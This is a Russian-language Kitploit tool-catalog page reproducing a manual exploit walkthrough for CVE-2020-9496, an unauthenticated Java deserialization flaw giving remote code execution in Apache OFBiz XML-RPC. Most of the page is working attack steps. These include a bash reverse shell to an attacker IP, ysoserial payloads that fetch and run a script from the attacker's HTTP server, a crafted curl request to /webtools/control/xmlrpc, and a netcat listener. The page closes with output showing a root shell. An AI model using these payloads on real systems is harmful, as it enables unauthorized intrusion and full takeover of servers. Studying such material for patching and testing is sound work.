Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/cyber-niz/cve-2020-9496
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubcyber-niz/cve-2020-9496

CVE-2020-9496

Ручной эксплойт для CVE-2020-9496 — неаутентифицированная RCE-уязвимость через десериализацию Java в Apache OFBiz XML-RPC, с пошаговыми инструкциями по генерации полезной нагрузки и получению обратной оболочки (reverse shell).

Репозиторий
5 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2020-9496 - RCE

Поскольку 2 запроса, связанных с xmlrpc, в webtools (xmlrpc и ping) не используют аутентификацию, они уязвимы для небезопасной десериализации. Эта проблема была сообщена команде безопасности Альваро Муньосом [email protected] из команды GitHub Security Lab.

Эта уязвимость существует из-за проблем с сериализацией Java при обработке запросов, отправляемых на /webtools/control/xmlrpc. Удаленный неаутентифицированный злоумышленник может воспользоваться этой уязвимостью, отправив специально созданный запрос. Успешная эксплуатация приведет к произвольному выполнению кода.

Затронутая версия 17.12.01

Исправленные версии 18.12.01, 17.12.04

Оригинальный блог: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/

Для работы этого POC нам нужно разместить shell-скрипт и выполнить/получить этот файл через curl.

ШАГ 1: Создайте shell-файл с bash-однострочником с вашим IP-адресом и портом.

root@kitploit:~
$ cat shell.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.x.x/1337 0>&1

ШАГ 2: Теперь нам нужно сделать этот файл доступным через HTTP-сервис

root@kitploit:~
$ sudo python3 -m http.server 80

ШАГ 3: Сгенерируйте полезную нагрузку через ysoserial - измените IP

root@kitploit:~
$ ysoserial CommonsBeanutils1 "wget 10.10.x.x/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n"

ШАГ 4: Скопируйте вывод вашей полезной нагрузки - очень длинная строка

root@kitploit:~
rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==

ШАГ 5: Используйте приведенную ниже команду curl для выполнения нашей полезной нагрузки. Вставьте полезную нагрузку после extensions”>

root@kitploit:~
$ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Команда curl без полезной нагрузки для справки

root@kitploit:~
$ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"></serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Убедитесь, что вы получили запрос на HTTP-сервере после выполнения команды curl

root@kitploit:~
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.x.x - - [29/Apr/2021 12:57:07] "GET /shell.sh HTTP/1.1" 200 -

Как вы можете видеть, мы получили запрос на нашем HTTP-сервере. Файл был загружен в каталог /tmp под именем shell.sh. Теперь, чтобы выполнить этот файл, создайте полезную нагрузку снова. Но прежде чем сделать это, запустите netcat-слушатель.

ШАГ 6: Запустите слушатель NetCat

root@kitploit:~
$ nc -lvnp 1337
listening on [any] 1337 ...

ШАГ 7: Создайте полезную нагрузку для выполнения ранее загруженного shell-скрипта

root@kitploit:~
$ ysoserial CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n"

ШАГ 8: Скопируйте и вставьте вывод в команду curl и выполните её

root@kitploit:~
curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

ШАГ 10: Проверьте слушатель NetCat на обратное подключение

root@kitploit:~
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.x.x] from (UNKNOWN) [10.129.x.x] 60006
bash: cannot set terminal process group (30): Inappropriate ioctl for device
bash: no job control in this shell
root@test:/usr/src/apache-ofbiz-17.12.01# id
id
uid=0(root) gid=0(root) groups=0(root)
Скачать инструмент